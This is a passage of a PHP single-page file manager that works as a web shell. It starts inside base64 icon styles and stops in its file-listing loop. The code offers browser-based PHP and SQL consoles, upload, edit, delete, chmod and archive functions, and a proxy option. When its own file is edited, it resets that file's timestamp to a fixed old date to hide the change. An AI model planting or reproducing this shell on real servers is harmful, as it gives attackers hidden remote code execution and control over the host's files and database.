X+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
